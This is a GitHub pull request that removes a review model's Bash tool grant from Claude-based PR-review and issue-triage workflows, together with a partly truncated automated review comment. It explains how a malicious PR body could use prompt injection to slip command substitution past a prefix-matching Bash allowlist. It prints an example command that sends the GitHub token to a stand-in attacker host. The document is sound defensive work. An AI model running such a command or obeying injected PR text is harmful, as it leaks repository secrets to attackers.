security: remove model's Bash tool grant in claude-review workflows - #9
Conversation
A narrowly-scoped Bash allowlist for the review model (e.g. Bash(gh pr view:*),Bash(gh pr diff:*),Bash(gh pr list:*)) does not close prompt injection via a malicious PR/issue body: Claude Code's Bash permission matcher matches an allow rule against the whole command's text as a prefix, and only decomposes compound commands on shell operators (&&, ||, ;, |, |&, &, newlines) -- it never parses inside an already-matched command's own arguments for embedded $(...)/backtick command substitution. So a malicious PR body can still trick the model into running e.g. `gh pr view "$(curl attacker.example/$GITHUB_TOKEN)"`, which matches the allow rule at the top level and executes the substitution regardless of how narrow the pattern is. Fix: give the model no Bash tool at all. A new deterministic (non-model) shell step fetches the PR/issue data first via workflow/GitHub-API-derived arguments only (never PR/issue body/title text) and writes it to local files; the model now gets --allowedTools "Read" plus --disallowedTools "Bash" (a deny always wins over an allow, as defense in depth) and reads those files instead of running gh itself. The posting step, permissions, triggers, and skip conditions are unchanged.
|
🤖 Automated first-pass review — a human maintainer's review is still required before merge. Up front on grounding: this repo has no recorded human review comments on any PR, so there's no reviewer precedent to cite for CI/security-workflow changes specifically — the taxonomy I'm working from only speaks to the release pipeline (the musl/glibc fix in PR #2), not to these workflows. Everything below is reasoned from the diff, the base-branch files, and the written rules in The thing I'd flag hardest: this diff is not under test on this PR, and the test plan is entirely unchecked. A concrete robustness regression in the new fetch step. In The read-only model can no longer follow part of the skill it's told to use. The prompt still instructs the model to read the skill and both reference files, and Worth checking: Small accuracy nit on the new comments. Both fetch steps assert the arguments are safe because they're "workflow/GitHub-API-controlled (an integer issue number...)". For the dispatch path that's slightly overstated — On scope: nothing here touches |
Vulnerability
A teammate flagged that the review model's Bash tool grant in
claude-pr-review.ymlandclaude-issue-triage.yml—Bash(gh pr view:*),Bash(gh pr diff:*),Bash(gh pr list:*)(and the issue-triage equivalent) — is exploitable via prompt injection regardless of how narrow the pattern is.Claude Code's Bash permission matcher matches an allow rule against the whole command's text as a prefix, and only decomposes compound commands on shell operators (
&&,||,;,|,|&,&, newlines). It never parses inside an already-matched command's own arguments for embedded$(...)/backtick command substitution. So a malicious PR body can still trick the model into running e.g.:This matches
Bash(gh pr view:*)at the top level, and the shell evaluates (and executes) the substitution — exfiltrating the token — beforegh pr viewitself ever runs. No narrower allowlist pattern closes this class of vulnerability.Fix
Give the model no Bash tool at all:
gh pr view/gh pr diff/gh pr list(orgh issue view/gh issue list/gh pr list) calls the model used to run itself, but now using only workflow/GitHub-API-derived values as arguments (PR/issue number,github.repository, an author login resolved from the API's own JSON) — never PR/issue body/title text — and writes the results to local JSON/text files.ghitself. It tells the model the files already exist in the workspace and to read them with the Read tool.claude_argschanges from theBash(gh ...)allowlist to--allowedTools "Read"plus a new--disallowedTools "Bash"line (a deny always wins over an allow, as defense in depth).Nothing else changes: triggers,
permissions, theif:skip conditions, and the posting step (secret-grep gate, marker-based in-place comment update,gh pr comment/gh issue commentfallback) are all untouched.Test plan
yaml.safe_load) for both workflow filesworkflow_dispatchrun against an existing PR/issue to confirm the fetch step populates the expected files and the Claude step still produces a correct structured review/triage comment🤖 Generated with Claude Code